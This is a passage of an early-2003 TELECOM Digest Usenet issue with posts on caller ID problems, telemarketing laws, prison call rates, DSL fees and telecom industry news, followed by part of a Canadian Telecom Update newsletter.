""plain text,"" is the only way to achieve these two goals without seriously jeopardizing public safety. Chris ""Good intentions will always be pleaded for every assumption of authority. It is hardly too strong to say that the Constitution was made to guard the people against the dangers of good intentions. They promise to be good masters, but they mean to be masters."" -- Noah Webster ------------------------------ From: jriker1@yahoo.com (John) Subject: Re: Free Caller ID? Date: 4 Jan 2003 12:30:23 -0800 Organization: http://groups.google.com/ Just wanted to check in this thread if my question was actually answered? Best I can tell from the bantering back and forth is that Ameritech must have configured their line wrong in the first place? Thanks. JR joe@obilivan.net wrote in message news:: >> (I pay by autodraft) > That is a dangerous practice to permit TPC unfettered access to your > bank account. Just imagine one of those erroneous long distance or > ""enhanced"" services hitting your bill, then the TPC wipes out your > bank account. Now, you get to argue with them while they have your > money and your outstanding checks all bounce. > A lot of folks don't realize how volitile electronic debit > authorizations can be, unlike credit card charges where they don't get > your money until you decide to let them have it. Electronic debits > should be limited to recurring charges that are fixed in amount, such > as a mortgage or car payment. > ""Let the buyer beware"" is really on-target with electronic debit > authorizations. > [TELECOM Digest Editor's Note: Although the problems you discuss are > very real, I still find it easier for me to use autodraft for my > regular, recurring bills, such as gas and electric. Both of those > bills are fixed amounts (budget plan) so I know what they will be. The > cable bill is also a fixed amount and autodrafted. City of Independence > water/sewer/garbage pickup is also a fixed amount (with a small tolerance) > each month for a year at a time, so is also autodrafted. The only bill > which can be trouble is Southwestern Bell. But I have two things in my > favor there; or maybe three. I have numerous blocks on my line with my > okay: no 900 calls, billed number screeing, and I make most of my > long distance calls on the cellphone or AOL-by-Phone (they are free in > most cases), but I still keep a one hundred minute package of time for > LD on my phone, which costs six dollars. So by and large, my phone and > DSL service are fixed at about $90 per month. I do not expect many > surprises there; aggravations from SWB, yes; surprises, no. Also, SWB > puts the new bill on line for review four weeks before they actually > debit it, and finally, I have a very friendly and understanding bank > manager. My bank statements are on line also. It is unimaginable to me > that anyone could make off with any money from my account, but I do > watch my balance and the various debits which go through rather closely. > When a bank only has seven or eight employees, period, and each of > them has a key to the front door, there is not a lot to worry about > where the bank is concerned. I do understand your thoughts however, > and if I were still living in Chicago, IL or another large city where > no one cares about anything, I'd probably not do autodraft either. PAT] ------------------------------ Date: Sat, 4 Jan 2003 21:28:25 EST From: John R. Covert Subject: New Mass Telemarketing Law There's a new law which is in effect in Massachusetts as of 1 Jan. MGL Chapter 159C implements a state do not call list which telemarketers (no matter where they are located) must observe, published quarterly (with web-based and touch-tone signup for consumers). While the first list isn't to be published until 1 April, the other provisions of the law which apply to all calls irrespective of the do not call list are in effect from 1 Jan. They are: (1) no faxes, (2) no pre-recorded calls, (3) no calls with blocked caller-id or using a service which deliberately blocks caller ID (which I think means that telemarketers need to get their LD providers to send caller ID, such as a main number, on T-1 lines, etc.) (4) all calls must provide within the first minute a disclosure that the call is to make a sale or solicit funds, the full and correct name of the telemarketing firm and the seller of the goods or services, and a complete description of the goods being offered and their retail price. Not sure how any telemarketer can do ALL of (4) in one minute! Two calls within any 12-month period in violation of anything in the chapter allow suit for $5,000 civil damages. (Note that for the pre-recorded calls, Federal law 47 USC 227 permits a $500-$1500 civil suit in state court in response to the first pre-recorded call.) Unfortunately, there is a major loophole in the definition of an ""Unsolicited telephonic sales call"" in the Mass Do Not Call law: It specifically exempts calls: in which the sale of goods and services is not completed, and payment or authorization of payment is not required, until after a face-to-face sales presentation by the telephone solicitor or a meeting between the telephone solicitor and customer. In other words, they can still try to sell you aluminum siding, since the call is to set up an appointment for a salesman to visit you. And they can continue to call you and invite you to presentations to sell timesharing (as long as you don't have to book a room and pay for it during the call). And I fear that the way the definition of ""unsolicited telephonic sales call"" is worded, the definition has basically eliminated the protection in the Law for many faxes or prerecorded calls for the reasons just listed. See www.state.ma.gov for info on the new law. /john [TELECOM Digest Editor's Note: A similar law was put into effect here in Kansas. People can sign up using a touch tone phone by calling an 800 number up in Topeka, the state capitol. You call, and a voice- response system first asks you for your number, explains all the rules about telemarketing, and asks you to press some digit if you wish to be added at the phone number you entered. Then you are given a chance to add additional numbers as desired under *your control*, by entering them one at a time, listening to the same speech about the rules, and likewise confirming them. They started taking calls to load the database around December 1, it took effect January 1, but enforcement will begin in a couple more months. PAT] ------------------------------ From: dold@37.usenet.us.com Subject: Re: Pacific Bell Central Office Names Date: Thu, 2 Jan 2003 19:11:20 UTC Organization: a2i network Steven J. Sobol wrote: > Jeff Moss wrote: >> I was at my dad's office last week (they are an Ameritech Distributor) >> and I threw away tons of Ameritech papers. There was a list of the >> Cleveland area Central offices. I didnt keep it but I remember they >> used really odd codes ex. Beachwood (30 sec away from my house) would >> be BCHW1023i0 or something. > http://dslreports.com/coinfo This doesn't give the ""exchange name"" of the CO. For instance, for 510-638, I know that the exchange name is Oakland Trinidad, which is _almost_ visible in the output of the nanpa CO assignment, but not visible at all in the switch name. NPA |NXX |Company |RC |Switch 510 |638 |PACIFIC BELL |OKLD TRNID |OKLDCA12DS1 http://www.nanpa.com/number_resource_info/co_code_assignments.html http://www.nanpa.com/nanp1/AllCodes.zip ALLCODES.MDB Clarence A Dold - dold@email.rahul.net - Hidden Valley (Lake County) CA. ------------------------------ From: johnbartley@email.com (John Bartley) Subject: ARLB003 Hams Help Out During OK Telephone Emergency Date: 4 Jan 2003 19:57:40 -0800 Organization: http://groups.google.com/ ZCZC AG03 QST de W1AW ARRL Bulletin 3 ARLB003 From ARRL Headquarters Newington CT January 3, 2003 To all radio amateurs SB QST ARL ARLB003 ARLB003 Hams help out during OK telephone emergency Hams responded with emergency communication when Broken Arrow, OK, a town of 75,000, experienced a citywide telephone outage on December 23. A request went out for amateurs to assist with emergency effort at the local Emergency Operations Center and three area hospitals. Several hams from the Broken Arrow Amateur Radio Club responded to the call, staffing positions at the Broken Arrow EOC and three hospital emergency rooms. The operation lasted about five hours, with messages between the EOCs and hospitals being passed. Lines of communications were also opened with the Oklahoma State Department of Civil Emergency Management in Oklahoma City via the HF amateur station in the Broken Arrow EOC. The trouble with the phone system was created by the loss of SS7 signaling, a digital protocol for call routing. Unable to route a call out of the local exchange, Broken Arrow phone customers could not call outside the city limits. As a result, the City of Broken Arrow implemented its Telecommunications Failure Plan. NNNN /EX ------------------------------ From: Stanley Cline Subject: Re: Prison Call Overcharging Date: Sat, 04 Jan 2003 23:17:47 -0500 Organization: Roamer1 Communications - Dunwoody, GA, USA Reply-To: sc1-news@roamer1.org On Tue, 31 Dec 2002 14:57:01 GMT, hancock4@bbs.cpcn.com (Jeff Nor Lisa) wrote: > Inmates in prison may make collect calls to their families. However, > the family is charged very steep fees for such calls -- much more > than There's another issue which I've been quite quick to point out on more than one occasion: inmates often can't call people who have home (or lawyers who have business) phone lines from CLECs, because most CLECs refuse to handle billing from anyone other than themselves and *perhaps* ""selected"" major IXCs. Of course, most CLECs don't mention that to potential customers, just like CLECs usually don't mention that potential customers will lose any line-share DSL if they switch away from the ILEC. :( IMO, the FCC should either require full disclosure of ""no third party billing"" policies and their consequences, or require CLECs to handle billing for inmate calls, if not ALL collect and third-number call charges originating from legitimate carriers. > There is no reason collect calls from a prison should cost any more > than collect calls from regular locations. (And remember, routine I disagree *to a point* -- in most cases special switches are used to reduce fraud. Still, that alone doesn't justify the *outrageous* rates most carriers charge those that accept inmate calls ... Stanley Cline -- sc1 at roamer1 dot org -- http://www.roamer1.org/ ""Never put off until tomorrow what you can do today. There might be a law against it by that time."" -/usr/games/fortune [TELECOM Digest Editor's Note: There are two other categories of inmate to outside calls which will not complete. If a person has a collect call block on their lines (what is known as 'Billed Number Screening') then those calls will not go through. The prison phone systems all dip the database to see if such calls are accepted or not. And if you have an 800 number just to avoid the expense of a collect call, they get you on that also. Prison phone systems will *not* even accept (right at the prison switch they are terminated) calls to toll free numbers. You'd think those would be okay, but oh, no ... if prisoner's wife/mother gets an 800 number so she can receive calls from the prisoner without having to take a second job to get the money to pay the phone bill, she is SOL. Look, the corrections industry does *not* like inmates making outside contact. Under Supreme Court rules they *have* to allow it, but they make it as difficult and expensive as they can. PAT] ------------------------------ From: Carl Navarro Subject: Re: RBOCs Charging Extra $10/Month For More Than One Host on DSL Date: Sun, 05 Jan 2003 12:17:21 -0500 Organization: Airnews.net! at Internet America On Fri, 03 Jan 2003 00:33:00 -0700, Phil Earnhardt wrote: > Apparently, at least one of the RBOCs is charging an extra $10/month > to hook up multiple computers to the same DSL feed. Given that their > DSL modems have both DHCP and NAT, how could the RBOC's ISP tell that > you had more than one computer inside the modem's firewall? Even if it > could, what would keep you from having your ""one computer connected to > the Internet"" be a router/firewall? > $10/month sounds really steep for this, especially when routers with 4 > switched ports cost around $60 to purchase. > Does anybody know the companies are thinking? If you know how to do > this yourself, do they really care? I don't know. I guess in the ""old days"" they expected you to rent extensions from them and pay for each phone. Must be the same thinking with computers. I'll bet they would charge you by the byte if they could ... Carl Navarro ------------------------------ From: J Kelly Subject: Re: Caller ID Problems Date: Sat, 04 Jan 2003 10:40:55 -0600 Organization: http://extra.newsguy.com On Thu, 02 Jan 2003 09:08:08 -0600, J Kelly wrote: > Does anyone have any suggestions on resolving a problem I have been > having with Caller ID for the past 13 months? > Here's is what is happening: When I receive some *Local* calls, > generally either from a business or a county/municipal office, I only > recieve the last 4 digits of the number. Instead of seeing > 319-334-1234 I will only get 1234 on the display. Any display, even a > brand new one plugged in all by itself, nothing else on the line. > Name appears as Unavailable. > Residential callers in the same exchange will appear correctly with > their name displayed, as do long distance and cellular calls (without > the name of course on cellular calls). > This all started one magical day when I was switched from Qwest to > McLeod USA local service service. Of course, McCleod being the CLEC > blamed Qwest (it is their switch after all) and Qwest of course blamed > McLeod saying they probably have a bad switch configuration, as if > McLeod had their own switch here (they don't). > I switched back to Qwest a month later to hopefully resolve that > problem, and the problem of not having any long distance service due > to McLeod/Qwest totally screwing up my line so that an invalid PIC was > selected. That fixed nothing. Eventually Qwest addmitted the long > distance thing was human error on their part and trasnferred me to > someone in the switch engineering group who fixed it. > Still, over a year later, they cannot seem to find a problem with the > caller id and blame McLeod USA, who is most likely the carrier of all > the callers showing up incorrectly. > Dozens of trouble tickets later, nothing has been found, each trouble > ticket results in a tech making a call from the CO and saying ""look , > it works"" and closing the ticket out. > Anything suggestions to get this fixed would be appreciated. > [TELECOM Digest Editor's Note: Try not paying them for a couple months > until *they* get around to calling you to ask for it. Then when they > do, tell them you want the Caller ID fixed once and for all. PAT] None of these that I'm aware of use a PBX, all POTS lines. Here in the small town Independence, IA very few business or offices are large enough to actually need their own PBX. One office I am familar with that exhibits this problem has a Panasonic KSU (don't recall the model number but I've installed a couple of these myself) but it simply interfaces with up to 3 incoming POTS lines via analog ports and has no provisions even available for digital CO lines. ------------------------------ Date: Sun, 5 Jan 2003 13:31:35 -0500 From: Monty Solomon Subject: Vodafone Plans $20 bn Stake Sale - Paper / Vodafone Not Planning - Jan 4, 2003 07:59 PM (Reuters) LONDON, Jan 5 (Reuters) - Mobile phone giant Vodafone Group Plc (ISEL:VOD) plans to sell its $20 billion stake in U.S. joint venture Verizon Wireless so it can fund a bid for complete control of a rival U.S. mobile operator, the Independent on Sunday said. The newspaper cited U.S. sources as saying Vodafone had shown an interest in two mobile operators: Voicestream, which is part of Deutsche Telekom , and AT&T Wireless Services Inc (NYSE:AWE), whose largest shareholder is Japanese operator NTT DoCoMo Inc (TOKYO:9437). Vodafone has an option to sell its 45 percent stake in Verizon Wireless to the majority shareholder, Verizon Communications (NYSE:VZ). The newspaper put a $20 billion value on the option, saying the sale of the stake would provide the financing for any bid. - http://finance.lycos.com/home/news/story.asp?story=30752287 UPDATE 1-Vodafone Not Planning Verizon Stake Sale - Jan 5, 2003 10:08 AM (Reuters) LONDON, Jan 5 (Reuters) - Mobile phone giant Vodafone Group Plc (ISEL:VOD) said on Sunday it had no current intention to sell its 45-percent stake in its U.S. joint venture Verizon Wireless to majority shareholder Verizon Communications (NYSE:VZ). - http://finance.lycos.com/home/news/story.asp?story=30753735 ------------------------------ Date: Sun, 5 Jan 2003 13:37:00 -0500 From: Monty Solomon Subject: WifiScanner, 802.11b Analyzer and Detector http://www.securiteam.com/tools/5XP011F8VS.html WifiScanner, 802.11b Analyzer and Detector DETAILS WifiScanner is an analyzer and detector of 802.11b stations and access points which can listen alternatively on all the 14 channels, write packet information in real time, search access points and associated client stations, and can generate a graphic of the architecture using GraphViz. All network traffic may be saved in the libpcap format for post analysis. It works under Linux with a PrismII card and with the linux-wlan driver. ADDITIONAL INFORMATION The tool can be downloaded from: http://wifiscanner.sourceforge.net/ ------------------------------ Date: Sun, 5 Jan 2003 14:48:39 -0500 From: Monty Solomon Subject: Studios Using Digital Armor to Fight Piracy By AMY HARMON Lying dormant in virtually every digital cable box in America is technology that can prevent viewers from recording certain programs to watch them later. Soon, several Hollywood studios are planning to tell cable operators to flip the switch. People who have become accustomed to recording pay-per-view and video-on-demand shows will probably still be able to, the studios say - so long as they pay an extra fee. The move is one of a range of new restrictions Hollywood is beginning to impose on digital movies, music and television. After years of battling online piracy in court, media executives are fighting technology with technology, locking up their products with the same types of digital tools that millions of people have used to get the products free over the Internet. http://www.nytimes.com/2003/01/05/business/05CONT.html ------------------------------ Date: Sun, 5 Jan 2003 14:52:42 -0500 From: Monty Solomon Subject: Hacking Away, Long Before There Were Hackers Hacking Away, Long Before There Were Hackers By JOHN SCHWARTZ THE curious thing about the new film ""Catch Me if You Can"" is how contemporary it seems. Curious because this tale of Frank W. Abagnale Jr. - in real life a teenage con artist who cashed millions in fake checks while impersonating an airline pilot, a doctor and a prosecutor - is set in the swinging 60's. In those days few mortals had used a computer, and Internet wasn't even a word. But the young Frank Abagnale seems an eery prefiguration of a very modern character: the hacker. Like them, he discovered a vast and arcane system held together with technology - in his case, the nation's network of banks. He worked tirelessly to understand its every facet, from the codes used by the Federal Reserve system, to the special paper and ink and machines used to make checks. And he exploited the system with a teenager's limitless energy - and limited morality. http://www.nytimes.com/2003/01/05/weekinreview/05SCHW.html ------------------------------ Date: Sun, 5 Jan 2003 02:48:59 -0500 From: Monty Solomon Subject: Microsoft Counts on Antipiracy Technique By Joe Wilcox Staff Writer, CNET News.com Microsoft is set to release its first mainstream consumer software application protected by product activation, in what could be a first step toward expanding use of the antipiracy technology. On Tuesday, Microsoft plans to officially launch Plus Digital Media Edition (DME), a $19.95 add-on pack for the Windows XP operating system. Microsoft has offered various versions of Plus since the release of Windows 95. But unlike earlier versions, Plus DME is protected by product activation, meaning that consumers will have to enter a 25-key code to install the software and then ""activate"" Plus DME over the Internet. http://news.com.com/2100-1001-978913.html ------------------------------ From: richgr@panix.com (Rich Greenberg) Subject: Prairie Home Companion Date: 5 Jan 2003 16:03:09 -0500 Organization: Organized? Me? If you missed Prairie Home Companion on NPR this weekend, there was a great telephone releted sequence that all telecom pros would probably enjoy. If you go to http://phc.mpr.org/performances/20010127/index.shtml you can hear it. It was the Jan 4, 2003 show which was actually a rebroadcast of the 1/27/2001 show. You want the bit starting at 08:45 in. (Needs the real audio player.) Cell phones, area code confusions, voicemail jail etc. Rich Greenberg Work: Rich.Greenberg atsign worldspan.com +1 770-563-6656 N6LRT Marietta, GA, USA Play: richgr atsign panix.com +1 770-321-6507 Eastern time zone. I speak for myself & my dogs only. VM'er since CP-67 Canines:Val(Chinook,CGC,TT), Red & Shasta(Husky,(RIP)) Owner:Chinook-L Atlanta Siberian Husky Rescue. www.panix.com/~richgr/ Asst Owner:Sibernet-L ------------------------------ Date: Sun, 05 Jan 2003 00:51:27 -0600 From: Neal McLain Reply-To: nmclain@annsgarden.com Organization: Ann's Garden Subject: Last Laugh! Urgent Counter-Proposal The following message was originally posted on the SCTE list by Rex Porter, a frequent contributor to that list and the Editor-in-Chief of Communications Technology magazine. I am cross-posting it here with Rex's permission. -----Original Message----- From: SCTE-List On Behalf Of Rex Porter Sent: Friday, January 03, 2003 2:14 PM To: SCTE-List@lists.scte.org Subject: I'm Tired Of Receiving This Scam, So.... URGENT COUNTER-BUSINESS PROPOSAL FROM: MR. R. PORTER DEAR FRIEND, MAY ALLAH SHINE DOWN HIS BLESSINGS UPON YOU! I AM MR. REX PORTER, SON OF BIG BILL (THREE-FINGERS) PORTER OF DRY GULCH (AN OUTLAW COUNTY IN THE STATE OF TEXAS - USA). AT A RECENT PRAYER MEETING, I HAD A VISION IN WHICH I WAS LED TO CONTACT YOU IN RESPONSE TO YOUR FINE LETTER, BELOW. DURING AN UPRISING ALONG THE BORDER BETWEEN TEXAS AND MEXICO, MY FAMILY (MYSELF, BILLY BOB, MA, BIG BILL AND LUCY SUE) WAS RECENTLY FORCED TO CEDE OUR RANCH AND ESCAPE TO THE WILDS OF NEW MEXICO WHERE BIG BILL LATER PERISHED DURING A COMBINATION MUD-SLIDE AND CATTLE STAMPEDE. HE ALMOST MADE IT TO THE TOP OF THE KNOLL WHEN HE SLIPPED IN THE MUD AND WAS TRAMPLED BY 400 TOP GRADE BULLS. MY PAPPY WAS A FRUGAL MAN AND WAS ABLE TO SAVE CASH ESTIMATED TO BE IN THE TEN FIGURE RANGE. HOWEVER, BECAUSE IT IS ILLEGAL TO TRANSPORT MORE THAN $10,000 CASH, WE LEFT ALMOST ALL OF IT IN ONE OF OUR TWENTYFOUR GOLD MINE SHAFTS WHEN WE ESCAPED TO NEW MEXICO. WE HAVE DRAWN UP A MAP SHOWING THE FOURTEEN HIDING PLACES. HOWEVER, THE BUSH FAMILY NOW REFUSES TO LET US HAVE ENTRY BACK INTO THE STATE OF TEXAS. THEY HAVE SOLD OFF ALL THE CATTLE AND TURNED THE RANCH INTO A SUMMER HOME SO THAT GEORGE SR., GEORGE JR. AND JEB CAN HAVE THEIR DRINKING PARTIES AWAY FROM THE EYE OF THE NATIONAL PRESS. THEY ALSO HUNT QUAIL AND KILLDEER ON THE WEEKENDS THERE. I DID MAKE ONE SNEAK VISIT BACK TO OUR SPREAD LATE LAST FALL, ONLY TO FIND THAT GEORGE JR. HAD CONFISCATED LAND MINES FROM THE TEXAS NATIONAL GUARD AND SET THEM AROUND THE MINE SHAFTS. I KNOW THAT NONE OF THAT FAMILY IS SMART ENOUGH TO LOCATE THE MONEY BUT THEY CAN KEEP US AWAY UNLESS WE GET A WRIT FROM A FEDERAL JUDGE (PERHAPS ONE OF THE TWO DEMOCRAT APPOINTEES). HOMELAND SECURITY LATER TRACKED US TO A SMALL TOWN IN NEW MEXICO BUT WE WERE ABLE TO ESCAPE AND RELOCATE IN COLORADO. WE HAVE HIRED A FINE LAWYER WHO ASSURES US HE CAN ARRANGE FOR US TO SECURE SUCH A WRIT. HOWEVER, THE LEGAL FEES WILL BE IN THE NEIGHBORHOOD OF $1MM AND WILL HAVE TO BE HANDLED BY A BANKING ARRANGEMENT OUTSIDE THE UNITED STATES. (REMEMBER WHO IS IN OFFICE HERE) WHAT I WANT YOU TO DO IS INDICATE YOUR INTEREST THAT YOU WILL ASSIST ME BY CONTACTING A BANK (PERHAPS IN SWITZERLAND) AND SECURING A LOAN FOR $1.5MM. PLEASE FORWARD THAT TO ME VIA A CERTIFIED CASHIERS CHECK SO MY LAWYER CAN SECURE THE WRIT. MAY I AT THIS POINT EMPHASIZE THE HIGH LEVEL OF CONFIDENTIALITY, WHICH THIS EFFORT DEMANDS, AND HOPE YOU WILL NOT BETRAY THE TRUST AND CONFIDENCE WHICH I REPOSE IN YOU. IN CONCLUSION, IN THE EVENT YOU ARE INTERESTED TO ASSIST ME, I WOULD LIKE YOU TO CONTACT ME. FINALLY, I WILL SET ASIDE 20% OF THE TOTAL SUM FOR YOUR ASSISTANCE AND 10% FOR ANY EXPENSES THAT SHALL BE INCURRED DURING THIS TRANSACTION. I LOOK FORWARD TO YOUR CERTIFIED CASHIERS CHECK AS SOON AS POSSIBLE. TELL BASHER I SAID ""HEY"" AND THAT I CONTINUE TO PRAY FOR YOU AND YOUR FAMILY....MR. REX PORTER Cross-posted by Neal McLain nmclain@annsgarden.com [TELECOM Digest Editor's Note: A very good response for those letters. I get three or four of them every day. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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Townson Telecom Update (Canada) #364, January 6, 2003 (Angus TeleManagement) Re: RBOCs Charging Extra $10/Month For More Than One Host (John Higdon) Re: Will Your TV Become a Spy? (John Higdon) Re: Call Blocking Box For All Numbers From Given Country? (David Clayton) Re: Critics Weigh In on Copyright Act (David Clayton) Re: MS Java Ruling Sets IT Precedent (Linc Madison) Re: Very Newbie Reboot Question (Benm) Re: ""Out the door"" (R Gilbert) Re: Last Laugh! Urgent Counter-Proposal (Jim Thompson) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Mon, 06 Jan 2003 10:12:49 -0500 From: Angus TeleManagement Subject: Telecom Update (Canada) #364, January 6, 2003 ************************************************************ TELECOM UPDATE ************************************************************ published weekly by Angus TeleManagement Group http://www.angustel.ca Number 364: January 6, 2003 Publication of Telecom Update is made possible by generous financial support from: ** BELL CANADA: http://www.bell.ca ** CISCO SYSTEMS CANADA: http://www.cisco.com/ca/letstalk ** CYGCOM INTEGRATED TECHNOLOGIES: http://www.cygcom.com ** ERICSSON CANADA: http://www.ericsson.ca ** JUNIPER NETWORKS: http://www.juniper.net ** PRIMUS CANADA: http://www.primustel.ca ** Q9 NETWORKS: http://www.Q9.com ** TELUS: http://www.telus.com ************************************************************ IN THIS ISSUE: ** Creditors to Take Over Microcell ** Court Approves GT Reorganization ** CRTC Says Competition Did Not Advance in 2001 ** CRTC Cuts CDNA Rates ** CBC Accuses Satellite Carriers of Bias ** Telesat Launches Nimiq 2 ** Ottawa Proposes New PCS/Cellular Licence Rules ** WorldCom Losses Increase ** Cognicase Accepts Improved CGI Bid ** TigerTel Buys Call Centre Outsourcer ** BCE Disposes of Teleglobe Shares ** The Hidden Costs of IP Telephony =========================================================== CREDITORS TO TAKE OVER MICROCELL: Microcell Telecom says its creditors have approved a plan to swap their existing notes for 99.9% of the company's shares and some new debt. Microcell, which has filed for bankruptcy protection during the transition, hopes to receive all necessary approvals by the end of March. The company says it will continue operating normally in the meantime. ** If approved, the plan will cut Microcell's debts from $2 billion to $350 million, and reduce its annual interest payments by $200 million. ** Currently, Microcell's largest shareholders are Charles Sirois' Telesystem Ltd. (25%), T-Mobile (15%), and Quebec's Caisse de Depot (17%). COURT APPROVES GT REORGANIZATION: The Ontario Superior Court has approved Group Telecom's reorganization plan. GT expects to implement the plan by February 15, clearing the way for its acquisition by 360networks. (See Telecom Update #363) CRTC SAYS COMPETITION DID NOT ADVANCE IN 2001: The CRTC submitted its report to Cabinet on the status of telecom competition and broadband deployment on December 20. ** Industry-wide telecom service revenues grew by 10% in 2001, to $32 billion: 79% of this was in wireline services, 21% in wireless. ** Wireline competitors' revenues increased from $2.6 billion in 1998 to $3.9 billion in 2001 (15% annual growth). However, competitors' EBITDA was ""essentially nil"" for the four years, while incumbents had nearly $10 billion in EBITDA each year. ** Competitors made little progress in local service. At the end of 2001 they served 591,000 business local lines and 74,000 residential local lines (7.8% and .5% of each respective market). Competitors lost market share in long distance and in data/private-line services in the year. ** 85% of Canadians live in communities served by high-speed Internet access, mainly DSL and cable modem service. In 2001, retail high-speed service revenues ($1.19 billion) exceeded dialup revenues for the first time. http://www.crtc.gc.ca/eng/publications/reports/PolicyMonitoring/2002/gic2002.pdf CRTC CUTS CDNA RATES: The CRTC has significantly reduced the interim rates for Competitor Digital Network Access service, reflecting cost studies filed by the incumbent telcos in September. Call-Net had argued that the previous rates included a 388% markup over cost, instead of the 15% ordered by the Commission. ** Call-Net CEO Bill Linton says this ruling, which is retroactive to June 1, 2002, will bring Call-Net's cost savings to the level envisioned by the CRTC in its May 2002 Price Cap decision. http://www.crtc.gc.ca/archive/ENG/Decisions/2002/dt2002-78.htm CBC ACCUSES SATELLITE CARRIERS OF BIAS: A CBC submission to the CRTC says that Bell ExpressVu carries nine CTV stations but only six CBC English-language stations, and that Star Choice carries five TVA stations but only two French-language CBC stations. ** The CBC says that a proposal by Bell ExpressVu to black out CBC network signals in favour of local stations in some markets would give further preferential treatment to CTV, which is owned by ExpressVu's parent company, BCE. http://cbc.radio-canada.ca/htmen/submissions/docs/CRTC_2002-57_2002-71.pdf TELESAT LAUNCHES NIMIQ 2: Telesat successfully launched Nimiq 2, a direct broadcast satellite, on December 30. Bell ExpressVu has booked the satellite's entire capacity and will begin using it in April. OTTAWA PROPOSES NEW PCS/CELLULAR LICENCE RULES: Industry Canada wants to replace the various rules and fees governing PCS and cellular spectrum licences with a common set of principles and policies for all licences. Comments are requested by March 5. http://strategis.ic.gc.ca/SSG/sf05584e.html WORLDCOM LOSSES INCREASE: Despite a 46% cut in capital spending, WorldCom's net loss on operations nearly doubled to US$205 million in October. The carrier has been under Chapter 11 bankruptcy protection since July. COGNICASE ACCEPTS IMPROVED CGI BID: The directors of Cognicase have agreed to support an improved takeover bid from CGI Group, which ups the price per share to $4.50 from $4.25. (See Telecom Update #361) TIGERTEL BUYS CALL CENTRE OUTSOURCER: TigerTel Communications has agreed to purchase all outstanding shares of Universal Teleresponse Corp, a Toronto-based contact centre company, for $2.5 million. ** In the six months ended October 31, TigerTel reported $4.99 million in revenue and a gross profit of $2.6 million. BCE DISPOSES OF TELEGLOBE SHARES: BCE has sold its 295 million shares of Teleglobe to a subsidiary of Ernst & Young for a ""nominal consideration."" Ernst & Young is the court- appointed monitor for Teleglobe. (See Telecom Update #350, 361) THE HIDDEN COSTS OF IP TELEPHONY: When McGill University looked at IP telephony, it found that the cost of preparing for a voice-data network would be much greater than anyone expected. Read full details in an exclusive insider report, only in the January issue of Telemanagement. Also in Telemanagement #201: ** ""Converged Networks Demand Converged Management"" ** ""Corporate Mobile Data on the Launching Ramp"" ** ""Federal Government Sets Foreign Investment Review"" Telemanagement is available only by subscription. To receive this important issue by first-class mail, subscribe now at http://www.angustel.ca/teleman/tm-sub.html or call 905-686-5050 ext 500. ============================================================ HOW TO SUBMIT ITEMS FOR TELECOM UPDATE E-MAIL: editors@angustel.ca FAX: 905-686-2655 MAIL: TELECOM UPDATE Angus TeleManagement Group 8 Old Kingston Road Ajax, Ontario Canada L1T 2Z7 =========================================================== HOW TO SUBSCRIBE (OR UNSUBSCRIBE) TELECOM UPDATE is provided in electronic form only. There are two formats available: 1. The fully-formatted edition is posted on the World Wide Web on the first business day of the week at http://www.angustel.ca 2. The e-mail edition is distributed free of charge. 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The information and data included has been obtained from sources which we believe to be reliable, but Angus TeleManagement makes no warranties or representations whatsoever regarding accuracy, completeness, or adequacy. Opinions expressed are based on interpretation of available information, and are subject to change. If expert advice on the subject matter is required, the services of a competent professional should be obtained. ------------------------------ From: John Higdon Subject: Re: RBOCs Charging Extra $10/Month For More Than One Host on DSL Organization: Green Hills and Cows Date: Sun, 05 Jan 2003 17:28:42 -0800 In article , Carl Navarro wrote: > I don't know. I guess in the ""old days"" they expected you to rent > extensions from them and pay for each phone. Must be the same > thinking with computers. > I'll bet they would charge you by the byte if they could ... Actually, charging by the byte makes sense. After all, it is bandwidth that you are paying for. But charging based upon what you do with the data is nonsense. Whether the data is used by one or ten computers is irrelevant to them; it is only the quantity that counts. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: John Higdon Subject: Re: Will Your TV Become a Spy? Organization: Green Hills and Cows Date: Sun, 05 Jan 2003 17:43:25 -0800 In article , Monty Solomon wrote: > Yet studio execs remain on the warpath. As movies are increasingly > broadcast and sold in digital format, Tinseltown execs are panicked > that consumers will make infinite numbers of perfect digital copies > and share them over the Internet. And as anyone knows, seeing grainy, jerky images on a computer screen with audio through a couple of three-inch speakers beats nearly perfect images projected onto a 100' screen with audio through THX-certified sound systems any day of the week. I guess that movie execs are justified in thinking that suddenly the movie theaters will be empty. ""Earth to whomever..."" John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: David Clayton Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: Mon, 06 Jan 2003 13:15:43 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au johnl@iecc.com (John R. Levine) contributed the following: >>> It's time for LECs to similarly block their customers with PBXes from >>> transmitting phony Caller ID information. And for us to start a >>> blacklist of LECs that won't. >> That's an interesting idea, but if they are sending incorrect CLID info, >> what information do you blacklist? > It is my impression that CO phone switches can be programmed to know > the valid CLID number range for a PBX, and to substitute in the main > number if a call from the PBX has no CLID or CLID outside that range. > Too bad telcos are almost all too lazy to do so. What happens if the PBX is part of a bigger private network and may switch transit calls out on those trunks which won't have a CLID in the local range? I fully agree with the idea, but to implement it would be difficult, (at least). Regards, David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ From: David Clayton Subject: Re: Critics Weigh In on Copyright Act Date: Mon, 06 Jan 2003 13:15:45 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au Ed Ellers contributed the following: > JDS wrote: >> Technological solutions to sociological problems never work. For >> one thing, there's always the ""analog hole"" which allows complete >> circumvention of any copyright scheme. > At the cost of some degradation of the signal. That's why people are > getting so worked up over 